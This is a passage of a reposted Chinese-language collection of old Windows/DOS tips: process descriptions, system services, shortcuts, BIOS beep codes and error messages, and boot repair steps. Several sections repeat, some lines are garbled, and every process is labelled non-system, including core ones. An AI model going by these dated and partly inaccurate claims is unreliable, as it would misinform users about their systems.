描述: Windows MediaPlayer是一個用以打開音樂、聲音和視頻檔的軟體。是否為系統進程: 否
msaccess.exe
進程檔: msaccess ormsaccess.exe
進程名稱: MicrosoftAccess
描述: MicrosoftAccess是一個資料庫軟體包括在Microsoft Office。是否為系統進程: 否
msbb.exe
進程檔: msbb ormsbb.exe
進程名稱: MSBBWeb3000 Spyware Application
描述: MSBB Web3000Spyware是包括在一些adware產品中，利用註冊表隨Windows啟動。是否為系統進程: 否
msdtc.exe
進程檔: msdtc ormsdtc.exe
進程名稱: DistributedTransaction Coordinator
描述: MicrosoftDistributed Transaction Coordinator控制多個伺服器的傳輸，被安裝在Microsoft Personal Web Server和Microsoft SQL Server。是否為系統進程: 否
msiexec.exe
進程檔: msiexec ormsiexec.exe
進程名稱: WindowsInstaller Component
描述: WindowsInstaller的一部分。用來幫助Windows Installer package files (MSI)格式的安裝檔。 是否為系統進程: 否
msimn.exe
進程檔: msimn ormsimn.exe
進程名稱: MicrosoftOutlook Express
描述: MicrosoftOutlook Express是一個Email和新聞群組用戶端包括在Microsoft Windows。是否為系統進程: 否
msmsgs.exe
進程檔: msmsgs ormsmsgs.exe
進程名稱: MSNMessenger Traybar Process
描述: MSN Messenger是一個線上聊天和即時通訊用戶端。是否為系統進程: 否
msoobe.exe
進程檔: msoobe ormsoobe.exe
進程名稱: WindowsProduct Activation
描述: Windows XPLicense的Product Activation產品啟動程式。是否為系統進程: 否
mspaint.exe
進程檔: mspaint ormspaint.exe
進程名稱: MicrosoftPaint
描述: MicrosoftPaint畫圖是一個圖像編輯器包括在Microsoft Windows，它能夠編輯bmp圖像。是否為系統進程: 否
mspmspsv.exe
進程檔: mspmspsv ormspmspsv.exe
進程名稱: WMDM PMSPService
描述: Windows MediaPlayer 7需要安裝的Helper Service。是否為系統進程: 否
mysqld-nt.exe
進程檔: mysqld-nt ormysqld-nt.exe
進程名稱: MySQLDaemon
描述: MySQL Daemon控制訪問MySQL資料庫。是否為系統進程: 否
navapsvc.exe
進程檔: navapsvc ornavapsvc.exe
進程名稱: NortonAntiVirus Auto-Protect Service
描述: NortonAnti-Virus掃描你的檔和email中的病毒。是否為系統進程: 否
navapw32.exe
進程檔: navapw32 ornavapw32.exe
進程名稱: NortonAntiVirus Agent
描述: NortonAnti-Virus掃描你的檔和email中的病毒。是否為系統進程: 否
ndetect.exe
進程檔: ndetect orndetect.exe
進程名稱: ICQ NdetectAgent
描述: ICQ NdetectAgent是ICQ用來偵測網路連接的程式。是否為系統進程: 否
netscape.exe
進程檔: netscape ornetscape.exe
進程名稱: Netscape
描述: Netscape網路流覽器通過HTTP流覽WWW萬維網。是否為系統進程: 否
notepad.exe
進程檔: notepad ornotepad.exe
進程名稱: Notepad
描述: Notepad字元編輯器用於打開文檔。在Windows中附帶。是否為系統進程: 否
ntbackup.exe
進程檔: ntbackup orntbackup.exe
進程名稱: WindowsBackup
描述: Windows備份工具用於備份檔案和資料夾。是否為系統進程: 否
ntvdm.exe
進程檔: ntvdm orntvdm.exe
進程名稱: Windows16-bit Virtual Machine
描述: WindowsVirtual Machine是為了相容舊的16位元Windows和DOS程式而設置的虛擬機器。是否為系統進程: 否
nvsvc32.exe
進程檔: nvsvc32 ornvsvc32.exe
進程名稱: NVIDIADriver Helper Service
描述: NVIDIA DriverHelper Service在NVIDA顯卡驅動中被安裝。是否為系統進程: 否
nwiz.exe
進程檔: nwiz ornwiz.exe
進程名稱: NVIDIAnView Control Panel
描述: NVIDIA nView控制台在NVIDA顯卡驅動中被安裝，用於調整和設定。是否為系統進程: 否
osa.exe
進程檔: osa orosa.exe
進程名稱: OfficeStartup Assistant
描述: MicrosoftOffice啟動助手，隨Windows啟動，增強啟動、Office字體、命令和Outlook事務提醒等特性。是否為系統進程: 否
outlook.exe
進程檔: outlook oroutlook.exe
進程名稱: MicrosoftOutlook
描述: MicrosoftOutlook是一個Email用戶端包括在Microsoft Office。是否為系統進程: 否
photoshop.exe
進程檔: photoshop orphotoshop.exe
進程名稱: AdobePhotoshop
描述: AdobePhotoshop是一個圖像編輯軟體，能夠打開和編輯照片和其它更多類型格式的圖片。是否為系統進程: 否
point32.exe
進程檔: point32 orpoint32.exe
進程名稱: MicrosoftIntellimouse Monitor
描述: MicrosoftIntellimouse Monitor添加一個滑鼠設定圖示在工具列。是否為系統進程: 否
powerpnt.exe
進程檔: powerpnt orpowerpnt.exe
進程名稱: MicrosoftPowerPoint
描述: MicrosoftPowerPoint是一個演示軟體包括在Microsoft Office。是否為系統進程: 否
pstores.exe
進程檔: pstores orpstores.exe
進程名稱: ProtectedStorage Service
描述: MicrosoftProtected Storage服務控制保密的內容密碼。是否為系統進程: 否
qttask.exe
進程檔: qttask orqttask.exe
進程名稱: Quick TimeTray Icon
描述: Quick Time工作列圖示在你運行Quick Time的時候啟動。是否為系統進程: 否
realplay.exe
進程檔: realplay orrealplay.exe
進程名稱: Real Player
描述: Real Player是一個媒體播放機用來打開和播放音樂、聲音和Real Media格式的視頻檔。是否為系統進程: 否
rnaapp.exe
進程檔: rnaapp orrnaapp.exe
進程名稱: WindowsModem Connection
描述: Windows Modem連接控制用以控制撥號modem連接。是否為系統進程: 否
rtvscan.exe
進程檔: rtvscan orrtvscan.exe
進程名稱: NortonAntiVirus
描述: NortonAnti-Virus用以掃描你的檔和email中的病毒。是否為系統進程: 否
rundll32.exe
進程檔: rundll32 orrundll32.exe
進程名稱: WindowsRUNDLL32 Helper
描述: WindowsRundll32為了需要調用DLLs的程式。是否為系統進程: 否
sndrec32.exe
進程檔: sndrec32 orsndrec32.exe
進程名稱: WindowsSound Recorder
描述: Windows答錄機用以播放和錄製音效檔(.wav)。是否為系統進程: 否
sndvol32.exe
進程檔: sndvol32 orsndvol32.exe
進程名稱: WindowsVolume Control
描述: Windows聲音控制進程在工作列駐留用以控制音量和音效卡相關。是否為系統進程: 否
spoolss.exe
進程檔: spoolss orspoolss.exe
進程名稱: PrinterSpooler Subsystem
描述: Windows印表機控制副程式用以調用需要列印的內容從磁片到印表機。是否為系統進程: 否
starter.exe
進程檔: starter orstarter.exe
進程名稱: CreativeLabs Ensoniq Mixer Tray icon
描述: 狀態列圖示在Creative Sound Mixer中被安裝。為了Creative音效卡 (Soundblaster)。是否為系統進程: 否
systray.exe
進程檔: systray orsystray.exe
進程名稱: WindowsPower Management
描述: Windows電源管理程式用以控制節能和恢復啟動。是否為系統進程: 否
tapisrv.exe
進程檔: tapisrv ortapisrv.exe
進程名稱: TAPIService
描述: WindowsTelephony (TAPI) 的後臺服務程式。是否為系統進程: 否
userinit.exe
進程檔: userinit oruserinit.exe
進程名稱: UserInitProcess
描述: UserInit程式運行登陸腳本，建立網路連接和啟動Shell殼。是否為系統進程: 否
visio.exe
進程檔: visio orvisio.exe
進程名稱: MicrosoftVisio
描述: MicrosoftVisio是一個圖形化管理軟體。是否為系統進程: 否
vptray.exe
進程檔: vptray orvptray.exe
進程名稱: NortonAntiVirus
描述: NortonAnti-Virus掃描你的檔和email中的病毒。是否為系統進程: 否
vshwin32.exe
進程檔: vshwin32 orvshwin32.exe
進程名稱: McAfeeVirusScan
描述: McAfeeVirusScan是一個反病毒軟體用以掃描你的檔和email中的病毒。是否為系統進程: 否
vsmon.exe
進程檔: vsmon orvsmon.exe
進程名稱: True VectorInternet Monitor
描述: True VectorInternet Monitor是ZoneAlarm個人防火牆的一部分，用以監視網路流經資料和攻擊。是否為系統進程: 否
vsstat.exe
進程檔: vsstat orvsstat.exe
進程名稱: McAfeeVirusScan
描述: McAfeeVirusScan是一個反病毒軟體用以掃描你的檔和email中的病毒。是否為系統進程: 否
wab.exe
進程檔: wab orwab.exe
進程名稱: AddressBook
描述: 在Outlook中的地址薄。用來存放email位址、聯繫資訊。是否為系統進程: 否
webscanx.exe
進程檔: webscanx orwebscanx.exe
進程名稱: McAfeeVirusScan
描述: McAfeeVirusScan是一個反病毒軟體用以掃描你的檔和email中的病毒。是否為系統進程: 否
winamp.exe
進程檔: winamp orwinamp.exe
進程名稱: WinAmp
描述: WinAmp MediaPlayer是一個用來打開音樂、聲音和視頻檔以及用以管理Mp3檔的軟體。是否為系統進程: 否
winhlp32.exe
進程檔: winhlp32 orwinhlp32.exe
進程名稱: WindowsHelp
描述: Windows説明檔察看程式，用來打開説明文檔。該程式被包括在很多的Windows程式中。是否為系統進程: 否
winoa386.mod
進程檔: winoa386 orwinoa386.mod
進程名稱: MS-DOSConsole
描述: WindowsMS-DOS控制台用以DOS命令和腳本。是否為系統進程: 否
winproj.exe
進程檔: winproj orwinproj.exe
進程名稱: MicrosoftProject
描述: MicrosoftProject是一個專案計畫編制程式。是否為系統進程: 否
winroute.exe
進程檔: winroute orwinroute.exe
進程名稱: WinRoute
描述: WinRoute是一個基於Windows的防火牆/路由/連接共用軟體。是否為系統進程: 否
winword.exe
進程檔: winword orwinword.exe
進程名稱: MicrosoftWord
描述: MicrosoftWord是一個文書處理程式包括在MicrosoftOffice。是否為系統進程: 否
winzip32.exe
進程檔: winzip32 orwinzip32.exe
進程名稱: WinZip
描述: WinZip是一個檔案壓縮工具，用於創建，打開和解壓zip文件。是否為系統進程: 否
wkcalrem.exe
進程檔: wkcalrem orwkcalrem.exe
進程名稱: MicrosoftWorks Calendar Reminder
描述: MicrosoftWorks Calendar Reminders工作日程提醒，在幕後處理和顯示彈出計畫的工作日志提醒。是否為系統進程: 否
wkqkpick.exe
進程檔: wkqkpick or wkqkpick.exe
進程名稱: WinZiptraybar icon
描述: WinZip的狀態列圖示，被允許在Winzip啟動時啟動。是否為系統進程: 否
wmplayer.exe
進程檔: wmplayer orwmplayer.exe
進程名稱: WindowsMedia Player
描述: Windows MediaPlayer是一個用來打開和播放音樂，聲音和視頻的軟體。是否為系統進程: 否
wordpad.exe
進程檔: wordpad orwordpad.exe
進程名稱: Wordpad
描述: Wordpad是一個字元編輯器用以打開和編輯txt和rtf檔。是否為系統進程: 否
wowexec.exe
進程檔: wowexec orwowexec.exe
進程名稱: Windows OnWindows Execution Process
描述: Windows OnWindows Execution Support Process和ntvdm.exe作用類似，為了相容16位元應用程式。是否為系統進程: 否
ypager.exe
進程檔: ypager orypager.exe
進程名稱: YahooMessenger Helper
描述: YahooMessenger的狀態列圖示，隨Yahoo Messenger運行，是其一部分。是否為系統進程: 否
windows xp系統進程全攻略最基本的系統進程（也就是說，這些進程是系統運行的基本條件，有了這些進程，系統就能正常運行）:
smss.exe Session Manager
csrss.exe 子系統伺服器進程
winlogon.exe 管理用戶登錄
services.exe 包含很多系統服務
lsass.exe 管理 IP 安全性原則以及啟動 ISAKMP/Oakley (IKE) 和 IP 安全驅動程式。(系統服務)
產生工作階段金鑰以及授予用於互動式客戶/伺服器驗證的服務憑據(ticket)。(系統服務)
svchost.exe 包含很多系統服務
svchost.exe
SPOOLSV.EXE 將檔載入到記憶體中以便遲後列印。(系統服務)
explorer.exe 資源管理器
internat.exe 託盤區的拼音圖示附加的系統進程（這些進程不是必要的，你可以根據需要通過服務管理器來增加或減少）:
mstask.exe 允許程式在指定時間運行。(系統服務)
regsvc.exe 允許遠端註冊表操作。(系統服務)
winmgmt.exe 提供系統管理資訊(系統服務)。
inetinfo.exe 通過 Internet 資訊服務的管理單元提供 FTP 連接和管理。(系統服務)
tlntsvr.exe 允許遠端使用者登錄到系統並且使用命令列運行控制台程式。(系統服務)
允許通過 Internet 資訊服務的管理單元管理 Web 和 FTP 服務。(系統服務)
tftpd.exe 實現 TFTP Internet 標準。該標準不要求用戶名和密碼。遠端安裝服務的一部分。(系統服務)
termsrv.exe 提供多會話環境允許用戶端設備訪問虛擬的 Windows 2000 Professional 桌面會話以及運行在伺服器上的基於 Windows 的程式。(系統服務)
dns.exe 應答對網域名稱系統(DNS)名稱的查詢和更新請求。(系統服務)
以下服務很少會用到，上面的服務都對安全有害，如果不是必要的應該關掉
tcpsvcs.exe 提供在 PXE 可遠端啟動客戶電腦上遠端安裝 Windows 2000 Professional 的能力。(系統服務)
支援以下 TCP/IP 服務：Character Generator, Daytime, Discard,Echo, 以及 Quote of the Day。(系統服務)
ismserv.exe 允許在 Windows Advanced Server 網站間發送和接收消息。(系統服務)
ups.exe 管理連接到電腦的不斷電供應系統(UPS)。(系統服務)
wins.exe 為註冊和解析 NetBIOS 型名稱的 TCP/IP 客戶提供 NetBIOS 名稱服務。(系統服務)
llssrv.exe License Logging Service(system service)
ntfrs.exe 在多個伺服器間維護檔目錄內容的檔同步。(系統服務)
RsSub.exe 控制用來遠端儲存資料的媒體。(系統服務)
locator.exe 管理 RPC 名稱服務資料庫。(系統服務)
lserver.exe 註冊用戶端許可證。(系統服務)
dfssvc.exe 管理分佈於局域網或廣域網路的邏輯卷。(系統服務)
clipsrv.exe 支援“剪貼簿檢視器”，以便可以從遠端剪貼簿查閱剪貼頁面。(系統服務)
msdtc.exe 並列事務，是分佈於兩個以上的資料庫，訊息佇列，檔案系統，或其它事務保護資源管理器。(系統服務)
faxsvc.exe 説明您發送和接收傳真。(系統服務)
cisvc.exe Indexing Service(system service)
dmadmin.exe 磁片管理請求的系統管理服務。(系統服務)
mnmsrvc.exe 允許有許可權的用戶使用 NetMeeting 遠端存取 Windows 桌面。(系統服務)
netdde.exe 提供動態資料交換 (DDE) 的網路傳輸和安全特性。(系統服務)
smlogsvc.exe 配置性能日誌和警報。(系統服務)
rsvp.exe 為依賴品質服務(QoS)的程式和控制應用程式提供網路信號和本地通信控制安裝功能。(系統服務)
RsEng.exe 協調用來儲存不常用資料的服務和管理工具。(系統服務)
RsFsa.exe 管理遠端儲存的檔的操作。(系統服務)
grovel.exe 掃描零備份存儲(SIS)卷上的重複檔，並且將重複檔指向一個資料存儲點，以節省磁碟空間。(系統服務)
SCardSvr.exe 對插入在電腦智慧卡閱讀器中的智慧卡進行管理和存取控制。(系統服務)
snmp.exe 包含代理程式可以監視網路設備的活動並且向網路控制台工作站彙報。(系統服務)
snmptrap.exe 接收由本地或遠端 SNMP 代理程式產生的陷阱消息，然後將消息傳遞到運行在這台電腦上 SNMP 管理程式。(系統服務)
UtilMan.exe 從一個視窗中啟動和配置輔助工具。(系統服務)
msiexec.exe 依據 .MSI 檔中包含的命令來安裝、修復以及刪除軟體。(系統服務)
詳細說明：
win2k運行進程
Svchost.exe
Svchost.exe檔對那些從動態連接庫中運行的服務來說是一個普通的主機進程名。Svhost.exe文件定位在系統的%systemroot%\system32資料夾下。在啟動的時候，Svchost.exe檢查註冊表中的位置來構建需要載入的服務清單。這就會使多個Svchost.exe在同一時間運行。每個Svchost.exe的回話期間都包含一組服務，以至於單獨的服務必須依靠Svchost.exe怎樣和在那裡啟動。這樣就更加容易控制和查找錯誤。
Svchost.exe 組是用下麵的註冊表值來識別。
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Svchost
每個在這個鍵下的值代表一個獨立的Svchost組，並且當你正在看活動的進程時，它顯示作為一個單獨的例子。每個鍵值都是REG_MULTI_SZ類型的值而且包括運行在Svchost組內的服務。每個Svchost組都包含一個或多個從註冊表值中選取的服務名，這個服務的參數值包含了一個ServiceDLL值。
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Service
更多的資訊為了能看到正在運行在Svchost清單中的服務。開始－運行－敲入cmd
然後在敲入 tlist -s （tlist 應該是win2k工具箱裡的冬冬）
Tlist 顯示一個活動進程的清單。開關 -s 顯示在每個進程中的活動服務清單。如果想知道更多的關於進程的資訊，可以敲 tlistpid。
Tlist 顯示Svchost.exe運行的兩個例子。
0 System Process
8 System
132 smss.exe
160 csrss.exe Title:
180 winlogon.exe Title: NetDDE Agent
208services.exe
Svcs: AppMgmt,Browser,Dhcp,dmserver,Dnscache,Eventlog,lanmanserver,LanmanWorkstation,LmHosts,
Messenger,PlugPlay,ProtectedStorage,seclogon,TrkWks,W32Time,Wmi
220 lsass.exe Svcs: Netlogon,PolicyAgent,SamSs
404 svchost.exe Svcs: RpcSs
452 spoolsv.exe Svcs: Spooler
544 cisvc.exe Svcs: cisvc
556 svchost.exe Svcs: EventSystem,Netman,NtmsSvc,RasMan,SENS,TapiSrv
580 regsvc.exe Svcs: RemoteRegistry
596 mstask.exe Svcs: Schedule
660 snmp.exe Svcs: SNMP
728 winmgmt.exe Svcs: WinMgmt
852 cidaemon.exe Title: OleMainThreadWndName
812 explorer.exe Title: Program Manager
1032 OSA.EXE Title: Reminder
1300 cmd.exe Title: D:\WINNT5\System32\cmd.exe - tlist -s
1080 MAPISP32.EXE Title: WMS Idle
1264 rundll32.exe Title:
1000 mmc.exe Title: Device Manager
1144 tlist.exe
在這個例子中註冊表設置了兩個組。
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Svchost:
netsvcs: Reg_Multi_SZ: EventSystem Ias Iprip Irmon Netman Nwsapagent RasautoRasman Remoteaccess SENS Sharedaccess Tapisrv Ntmssvc
rpcss :Reg_Multi_SZ: RpcSs
smss.exe
csrss.exe
這個是使用者模式Win32子系統的一部分。csrss代表客戶/伺服器運行子系統而且是一個基本的子系統必須一直運行。csrss 負責控制windows，創建或者刪除執行緒和一些16位的虛擬MS-DOS環境。
explorer.exe
這是一個用戶的shell（我實在是不知道怎麼翻譯shell），在我們看起來就像任務條，桌面等等。這個進程並不是像你想像的那樣是作為一個重要的進程運行在windows中，你可以從工作管理員中停掉它，或者重新啟動。通常不會對系統產生什麼負面影響。
internat.exe
這個進程是可以從工作管理員中關掉的。
internat.exe在啟動的時候開始運行。它載入由用戶指定的不同的輸入點。輸入點是從註冊表的這個位置
HKEY_USERS\.DEFAULT\Keyboard Layout\Preload 載入內容的。
internat.exe 載入“EN”圖示進入系統的圖示區，允許使用者可以很容易的轉換不同的輸入點。當進程停掉的時候，圖示就會消失，但是輸入點仍然可以通過控制台來改變。
lsass.exe
這個進程是不可以從工作管理員中關掉的。 這是一個本地的安全授權服務，並且它會為使用winlogon服務的授權使用者生成一個進程。這個進程是通過使用授權的包，例如默認的msgina.dll來執行的。如果授權是成功的，lsass就會產生用戶的進入權杖，權杖別使用啟動初始的shell。其他的由使用者初始化的進程會繼承這個權杖的。
mstask.exe
這個進程是不可以從工作管理員中關掉的。這是一個任務調度服務，負責使用者事先決定在某一時間運行的任務的運行。
smss.exe
這個進程是不可以從工作管理員中關掉的。這是一個會話管理子系統，負責啟動用戶會話。這個進程是通過系統進程初始化的並且對許多活動的，包括已經正在運行的Winlogon，Win32（Csrss.exe）執行緒和設定的系統變數作出反映。在它啟動這些進程後，它等待Winlogon或者Csrss結束。如果這些過程時正常的，系統就關掉了。如果發生了什麼不可預料的事情，smss.exe就會讓系統停止回應（就是掛起）。
spoolsv.exe
這個進程是不可以從工作管理員中關掉的。緩衝（spooler）服務是管理緩衝集區中的列印和傳真作業。
service.exe
這個進程是不可以從工作管理員中關掉的。大多數的系統核心模式進程是作為系統進程在運行。
System Idle Process
這個進程是不可以從工作管理員中關掉的。這個進程是作為單執行緒運行在每個處理器上，並在系統不處理其他執行緒的時候分派處理器的時間。
winlogon.exe
這個進程是管理使用者登錄和推出的。而且winlogon在用戶按下CTRL+ALT+DEL時就啟動了，顯示安全對話方塊。
winmgmt.exe
winmgmt是win2000用戶端管理的核心組件。當用戶端應用程式連接或當管理程式需要他本身的服務時這個進程初始化
taskmagr.exe
這個進程呀，哈哈，就是工作管理員了
[轉貼][分享]Windows快速鍵
Windows快速鍵：
win+m 顯示桌面
win+pause 系統屬性
快速重新啟動:按確定前先按shift(不適用於2k、xp）.
徹底刪除:shift+del
不讓光碟自動運行:按shift
Ctrl+Esc：相當於開始或WIN鍵
Ctrl+Home：將游標移至文字編輯區的開始始(Home單用：移至列首)
Ctrl+End：將游標移至文字編輯區的終點(End單用：移至列尾)
Alt+F4：關閉當前視窗（若是點一下桌面再按則為關機)
F2：更改名稱
windows+e 資源管理器.
windows+r 運行.
windows+f 查找.
windows+u 關閉系統.
windows+d最小化所有視窗，再按一次Win+D可回到最小化前的視窗.
windows+m最小化所有視窗，但再按一次無法回到最小化前的視窗.
Shift+F10，可以打開所選項目的右鍵功能表.
按住 CTRL+SHIFT 拖動文件:創建快捷方式.
win+m 顯示桌面
win+pause 系統屬性
快速重新啟動:按確定前先按shift(不適用於2k、xp）.
徹底刪除:shift+del
不讓光碟自動運行:按shift
Ctrl+Esc：相當於開始或WIN鍵
Ctrl+Home：將游標移至文字編輯區的開始始(Home單用：移至列首)
Ctrl+End：將游標移至文字編輯區的終點(End單用：移至列尾)
Alt+F4：關閉當前視窗（若是點一下桌面再按則為關機)
F2：更改名稱
windows+e 資源管理器.
windows+r 運行.
windows+f 查找.
windows+u 關閉系統.
windows+d最小化所有視窗，再按一次Win+D可回到最小化前的視窗.
windows+m最小化所有視窗，但再按一次無法回到最小化前的視窗.
Shift+F10，可以打開所選項目的右鍵功能表.
按住 CTRL+SHIFT 拖動文件:創建快捷方式.
[轉貼][分享]BIOS自檢響鈴含義
BIOS自檢響鈴含義
==============================
一、Award BIOS自檢響鈴含義：
==============================
1短：系統正常啟動。恭喜，你的機器沒有任何問題。
2短：常規錯誤，請進入CMOS Setup，重新設置不正確的選項。
1長1短：RAM或主板出錯。換一條內存試試，若還是不行，只好更換主板。
1長2短：顯示器或顯示卡錯誤。
1長3短：鍵盤控製器錯誤。檢查主板。
1長9短：主板Flash RAM或EPROM錯誤，BIOS損壞。換塊Flash RAM試試。
不斷地響（長聲）：內存條未插緊或損壞。重插內存條，若還是不行，只有更換一條內存。
不停地響：電源、顯示器未和顯示卡連接好。檢查一下所有的插頭。
重複短響：電源有問題。
無聲音無顯示：電源有問題。
==============================
二、AMI BIOS自檢響鈴含義：
==============================
1短：內存刷新失敗。更換內存條。
2短：內存ECC較驗錯誤。在CMOS Setup中將內存關於ECC校驗的選項設為Disabled就可以解決，不過最根本的解決辦法還是更換一條內存。
3短：系統基本內存（第1個64kB）檢查失敗。換內存。
4短：系統時鐘出錯。
5短：中央處理器（CPU）錯誤。
6短：鍵盤控製器錯誤。
7短：系統實模式錯誤，不能切換到保護模式。
8短：顯示內存錯誤。顯示內存有問題，更換顯卡試試。
9短：ROM BIOS檢驗和錯誤。
1長3短：內存錯誤。內存損壞，更換即可。
1長8短：顯示測試錯誤。顯示器數據線沒插好或顯示卡沒插牢。
==============================
三、Phoenix BIOS自檢響鈴含義：
==============================
1短：系統啟動正常
1短1短1短：系統加電初始化失敗
1短1短2短：主板錯誤
1短1短3短：CMOS或電池失效
1短1短4短：ROM BIOS校驗錯誤
1短2短1短：系統時鐘錯誤
1短2短2短：DMA初始化失敗
1短2短3短：DMA頁寄存器錯誤
1短3短1短：RAM刷新錯誤
1短3短2短：基本內存錯誤
1短3短3短：基本內存錯誤
1短4短1短：基本內存地址線錯誤
1短4短2短：基本內存校驗錯誤
1短4短3短：EISA時序器錯誤
1短4短4短：EISA NMI口錯誤
2短1短1短：前64K基本內存錯誤
3短1短1短：從DMA寄存器錯誤
3短1短2短：主DMA寄存器錯誤
3短1短3短：主中斷處理寄存器錯誤
3短1短4短：從中斷處理寄存器錯誤
3短2短4短：鍵盤控製器錯誤
3短3短4短：屏幕存儲器測試失敗
3短4短2短：顯示錯誤
3短4短3短：時鐘錯誤
4短2短2短：關機錯誤
4短2短3短：A20門錯誤
4短2短4短：保護模式中斷錯誤
4短3短1短：內存錯誤
4短3短3短：時鐘2錯誤
4短3短4短：時鐘錯誤
4短4短1短：串行口錯誤
4短4短2短：並行口錯誤
4短4短3短：數字協處理器錯誤 的動作。
==============================
一、Award BIOS自檢響鈴含義：
==============================
1短：系統正常啟動。恭喜，你的機器沒有任何問題。
2短：常規錯誤，請進入CMOS Setup，重新設置不正確的選項。
1長1短：RAM或主板出錯。換一條內存試試，若還是不行，只好更換主板。
1長2短：顯示器或顯示卡錯誤。
1長3短：鍵盤控製器錯誤。檢查主板。
1長9短：主板Flash RAM或EPROM錯誤，BIOS損壞。換塊Flash RAM試試。
不斷地響（長聲）：內存條未插緊或損壞。重插內存條，若還是不行，只有更換一條內存。
不停地響：電源、顯示器未和顯示卡連接好。檢查一下所有的插頭。
重複短響：電源有問題。
無聲音無顯示：電源有問題。
==============================
二、AMI BIOS自檢響鈴含義：
==============================
1短：內存刷新失敗。更換內存條。
2短：內存ECC較驗錯誤。在CMOS Setup中將內存關於ECC校驗的選項設為Disabled就可以解決，不過最根本的解決辦法還是更換一條內存。
3短：系統基本內存（第1個64kB）檢查失敗。換內存。
4短：系統時鐘出錯。
5短：中央處理器（CPU）錯誤。
6短：鍵盤控製器錯誤。
7短：系統實模式錯誤，不能切換到保護模式。
8短：顯示內存錯誤。顯示內存有問題，更換顯卡試試。
9短：ROM BIOS檢驗和錯誤。
1長3短：內存錯誤。內存損壞，更換即可。
1長8短：顯示測試錯誤。顯示器數據線沒插好或顯示卡沒插牢。
==============================
三、Phoenix BIOS自檢響鈴含義：
==============================
1短：系統啟動正常
1短1短1短：系統加電初始化失敗
1短1短2短：主板錯誤
1短1短3短：CMOS或電池失效
1短1短4短：ROM BIOS校驗錯誤
1短2短1短：系統時鐘錯誤
1短2短2短：DMA初始化失敗
1短2短3短：DMA頁寄存器錯誤
1短3短1短：RAM刷新錯誤
1短3短2短：基本內存錯誤
1短3短3短：基本內存錯誤
1短4短1短：基本內存地址線錯誤
1短4短2短：基本內存校驗錯誤
1短4短3短：EISA時序器錯誤
1短4短4短：EISA NMI口錯誤
2短1短1短：前64K基本內存錯誤
3短1短1短：從DMA寄存器錯誤
3短1短2短：主DMA寄存器錯誤
3短1短3短：主中斷處理寄存器錯誤
3短1短4短：從中斷處理寄存器錯誤
3短2短4短：鍵盤控製器錯誤
3短3短4短：屏幕存儲器測試失敗
3短4短2短：顯示錯誤
3短4短3短：時鐘錯誤
4短2短2短：關機錯誤
4短2短3短：A20門錯誤
4短2短4短：保護模式中斷錯誤
4短3短1短：內存錯誤
4短3短3短：時鐘2錯誤
4短3短4短：時鐘錯誤
4短4短1短：串行口錯誤
4短4短2短：並行口錯誤
4短4短3短：數字協處理器錯誤 的動作。
[轉貼][分享]底板 BIOS 報錯大全
底板 BIOS 報錯大全
19個主動報錯的電腦啟故障現象分析。
啟動電腦，如果發現問題，就會主動報錯。主要有以下一些資訊顯示：
（1）Bad CMOS Battery說明：主機內的CMOS電池電力不足。
（2）快取 Controller Error說明：快取 Memory 控制器損壞。
（3）快取 Memory Error說明：快取 Memory執行錯誤。
（4）CMOS Checks UM Error說明：CMOS RAM存儲器出錯，請重新執行CMOS SETUP。
（5）Diskette Drive Controller Error說明：該錯誤信息出現的原因有：一是軟碟驅動器未與電源連接； 二是軟碟驅動器的信號線與I/O卡之間的連接不正確；三是軟碟驅動器損壞；四是多功能卡損壞；五是 CMOS裡軟驅參數設置錯。
（6）Display Card Mismatch說明：主機內裝顯示卡與系統設定值不匹配。
（7）Equipment Config Ration Error 說明：硬體設備參數不合，重新設置CMOS。
（8）Fixed Disk Controller Error說明：該錯誤信息出現的原因可能是：一是硬碟未接電源；二是硬碟信號線與I/O卡之間的連接不正確；三是硬碟已損壞。
（9） Fixed Disk 0 Error說明：硬碟0磁道損壞。
（10）Insert System Diskette, Press ENTER Key To Reboot說明：沒有系統引導盤。
（11） I/O Parity Error說明：輸入輸出程序無法正確執行。
（12）Keyboard Error說明：鍵盤連接錯誤或鍵盤損壞。
（13） Memory Error說明：主機板上DRAM、SIMM或附加的記憶體條損壞。
（14）Memory Size Mismatch說明：系統檢測到的記憶體條容量與實際不符。
（15）Press Fl To Continue or Ctrl+Alt+ESC For SETUP說明：系統設定錯誤。
（16） Protected Mode Test Fail說明：CPU保護模式錯誤。在該情況下，系統仍可在真實模式(Real Mode)DOS環境下執行。
（17）RAM BIOS Not Exist說明：當用戶想啟動SHADOW RAM，但SHADOW RAM不存在。
（18）RAM Parity Error說明：主機板上DRAM或SIMM無法正常執行。
（19）Real Time Clock Error說明：時鐘設定不正確。
16、缺少COMMAND.COM 文件造成的故障排除方法。
出現「Bad or missing command interpreter (解釋命令出錯或丟失)」信息時，怎麼辦？由於操作系統每次開機時，都需要引導兩個隱含的系統檔案(IO.SYS、MSDOS.SYS)及COMMAND.COM文件，從而完成機器的啟動。出現以上問題是由於引導盤裡缺少COMMAND.COM 文件所造成的。解決方法是：拷貝一個COMMAND.COM文件到硬碟上，則故障消失。換一張完好的系統碟引導機器（必須要與您硬碟上的系統版本一致）；使用系統碟的Copy命令，格式為：COPY COMMAND.COM C:\
17．硬碟引導記錄損壞引起的故障排除。
出現「Disk boot failure,Insert systemdisk」(硬碟引導記錄損壞，插入系統碟)信息時，怎麼辦？若出現此類信息，表明系統引導區受損或遭到病毒侵襲，此時比較保險的方法是通過確認無病毒的系統軟碟啟動，使用系統軟碟上的formAT命令(格式為：formAT C:/S/U )，對硬碟的引導記錄進行複寫，但是您要注意，此命令也把 C碟上的信息一掃而空了。
18．缺少兩個隱含文件造成的故障及排除方法。
出現「 Non - systemdisk or disk error. Replace andstrike any key when ready.(非系統碟或磁牒出錯，換一張軟碟，當一切準備好時，按任意一鍵)」信息時，怎麼辦？由於操作系統每次開機時，都要引導兩個隱含文件IO.SYS、
MSDOS.SYS，和COMMAND.COM 文件，從而完成機器的啟動。出現這一問題是由於缺少這兩個隱含文件所造成的。解決方法是：換一張完好的系統碟引導機器；用SYS.COM 命令(格式為：SYS C: )拷貝IO.SYS及MSDOS.SYS兩個隱含文件到硬碟上，則故障消失。
19．開機密碼丟失後的解救辦法。
